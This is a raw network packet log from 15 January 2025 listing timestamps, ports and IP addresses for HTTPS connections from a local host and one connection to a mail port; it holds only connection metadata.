Jan 15, 2025 03:36:59.384887934 CET	49751	443	192.168.2.4	140.82.121.3
Jan 15, 2025 03:36:59.387137890 CET	49751	443	192.168.2.4	140.82.121.3
Jan 15, 2025 03:36:59.387232065 CET	443	49751	140.82.121.3	192.168.2.4
Jan 15, 2025 03:36:59.387504101 CET	49751	443	192.168.2.4	140.82.121.3
Jan 15, 2025 03:36:59.431374073 CET	443	49751	140.82.121.3	192.168.2.4
Jan 15, 2025 03:36:59.434689999 CET	49751	443	192.168.2.4	140.82.121.3
Jan 15, 2025 03:36:59.434705973 CET	443	49751	140.82.121.3	192.168.2.4
Jan 15, 2025 03:36:59.483115911 CET	49751	443	192.168.2.4	140.82.121.3
Jan 15, 2025 03:36:59.797888041 CET	443	49751	140.82.121.3	192.168.2.4
Jan 15, 2025 03:36:59.798173904 CET	443	49751	140.82.121.3	192.168.2.4
Jan 15, 2025 03:36:59.798300982 CET	49751	443	192.168.2.4	140.82.121.3
Jan 15, 2025 03:36:59.798351049 CET	443	49751	140.82.121.3	192.168.2.4
Jan 15, 2025 03:36:59.798383951 CET	443	49751	140.82.121.3	192.168.2.4
Jan 15, 2025 03:36:59.798444986 CET	49751	443	192.168.2.4	140.82.121.3
Jan 15, 2025 03:36:59.798736095 CET	49751	443	192.168.2.4	140.82.121.3
Jan 15, 2025 03:36:59.798768997 CET	443	49751	140.82.121.3	192.168.2.4
Jan 15, 2025 03:36:59.808744907 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:36:59.808762074 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:36:59.808959007 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:36:59.809149027 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:36:59.809156895 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.300733089 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.301474094 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.301495075 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.303069115 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.303878069 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.305731058 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.305841923 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.310014009 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.355345011 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.359961987 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.359981060 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.413861036 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.530160904 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.530385017 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.530476093 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.530563116 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.530654907 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.530700922 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.530723095 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.530755997 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.530818939 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.530909061 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.530944109 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.530951977 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.530985117 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.531131983 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.531217098 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.531251907 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.531260967 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.533670902 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.537686110 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.586349010 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.624329090 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.624367952 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.624485016 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.624505043 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.624526024 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.624583006 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.624597073 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.624645948 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.624675035 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.624706030 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.626080036 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.626106024 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.626147985 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.626189947 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.626197100 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.626204967 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.626229048 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.626255035 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795015097 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795075893 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795151949 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795164108 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795231104 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795231104 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795413017 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795459986 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795504093 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795514107 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795525074 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795595884 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795618057 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795624018 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795648098 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795689106 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795700073 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795703888 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795736074 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795739889 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795783043 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795789957 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795804977 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795819044 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795845032 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.795851946 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.795881987 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.796116114 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.807501078 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.807544947 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.807665110 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.807665110 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.807672977 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.807823896 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.809468985 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.809518099 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.809648037 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.809648037 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.809654951 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.809711933 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.811352968 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.811397076 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.811440945 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.811446905 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.811508894 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.811508894 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.812232018 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.812277079 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.812378883 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.812378883 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.812385082 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.812532902 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.814091921 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.814143896 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.814182043 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.814188004 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.814264059 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.814264059 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.815872908 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.815957069 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.816003084 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.816009045 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.816037893 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.816106081 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.871428967 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.871496916 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.871509075 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.871526957 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.871583939 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.871609926 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.899997950 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.900065899 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.900085926 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.900103092 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.900146008 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.900304079 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.900353909 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.900374889 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.900386095 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.900418997 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.900448084 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.900646925 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.900691986 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.900722980 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.900728941 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.900770903 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.900795937 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.901484013 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.901526928 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.901555061 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.901561022 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.901606083 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.901664019 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.901705980 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.901746035 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.901751995 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.901787996 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.901814938 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.902417898 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.902470112 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.902496099 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.902501106 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.902542114 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.902570009 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.902663946 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.902708054 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.902740002 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.902745962 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.902786016 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.902810097 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.902817965 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.902842999 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.902890921 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.902898073 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.902944088 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.903018951 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:00.903076887 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.910888910 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.912823915 CET	49756	443	192.168.2.4	185.199.109.133
Jan 15, 2025 03:37:00.912832022 CET	443	49756	185.199.109.133	192.168.2.4
Jan 15, 2025 03:37:03.131103039 CET	49757	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:37:03.131198883 CET	443	49757	142.250.185.228	192.168.2.4
Jan 15, 2025 03:37:03.131293058 CET	49757	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:37:03.131481886 CET	49757	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:37:03.131508112 CET	443	49757	142.250.185.228	192.168.2.4
Jan 15, 2025 03:37:03.776568890 CET	443	49757	142.250.185.228	192.168.2.4
Jan 15, 2025 03:37:03.777152061 CET	49757	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:37:03.777194023 CET	443	49757	142.250.185.228	192.168.2.4
Jan 15, 2025 03:37:03.778332949 CET	443	49757	142.250.185.228	192.168.2.4
Jan 15, 2025 03:37:03.778413057 CET	49757	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:37:03.779778957 CET	49757	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:37:03.779860020 CET	443	49757	142.250.185.228	192.168.2.4
Jan 15, 2025 03:37:03.828907013 CET	49757	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:37:03.828937054 CET	443	49757	142.250.185.228	192.168.2.4
Jan 15, 2025 03:37:03.874942064 CET	49757	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:37:05.213360071 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:05.218230009 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:05.218302011 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:05.227272987 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.227364063 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.227447033 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.227865934 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.227910995 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.227947950 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.227955103 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.228038073 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.228199005 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.228219032 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.811527967 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.814007998 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.814040899 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.815726995 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.815812111 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.816704988 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.816788912 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.816876888 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.837347031 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.837698936 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.837764025 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.839252949 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.839340925 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.839577913 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.839668036 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.863344908 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.865374088 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.865433931 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.888684034 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.888700962 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:05.919692993 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:05.937515974 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.087750912 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.087841988 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.087862968 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.087881088 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.087922096 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.087938070 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.087938070 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.087938070 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.087954998 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.088010073 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.088048935 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.088082075 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.088083029 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.088083029 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.112449884 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.112517118 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.112541914 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.112560034 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.112593889 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.151102066 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.151175022 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.151185989 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.151212931 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.151242971 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.198018074 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.198087931 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.198088884 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.198122025 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.198141098 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.198144913 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.198183060 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.199451923 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.199477911 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.199515104 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.199517012 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.199537992 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.199558020 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.199565887 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.199569941 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.199585915 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.211833954 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.212321997 CET	49761	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.212344885 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.212349892 CET	443	49761	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.212419033 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.212503910 CET	49761	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.212507963 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.212905884 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.212934971 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.213238001 CET	49761	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.213251114 CET	443	49761	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.213622093 CET	49764	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.213696957 CET	443	49764	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.213762045 CET	49764	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.214052916 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.214124918 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.214190006 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.214401960 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.214468002 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.214495897 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.214519978 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.214544058 CET	49764	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.214545012 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.214575052 CET	443	49764	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.214741945 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.214777946 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.259327888 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.260271072 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.260334969 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.260412931 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.260412931 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.260482073 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.283371925 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.283441067 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.283482075 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.283526897 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.283526897 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.283526897 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.283596992 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.285458088 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.285562992 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.285590887 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.285598993 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.285625935 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.285650015 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.285650969 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.285650969 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.285702944 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.285722017 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.285772085 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.285826921 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.285882950 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.286803007 CET	49759	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.286829948 CET	443	49759	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.287024975 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.287066936 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.287127018 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.288280010 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.288306952 CET	443	49767	45.63.57.89	192.168.2.4
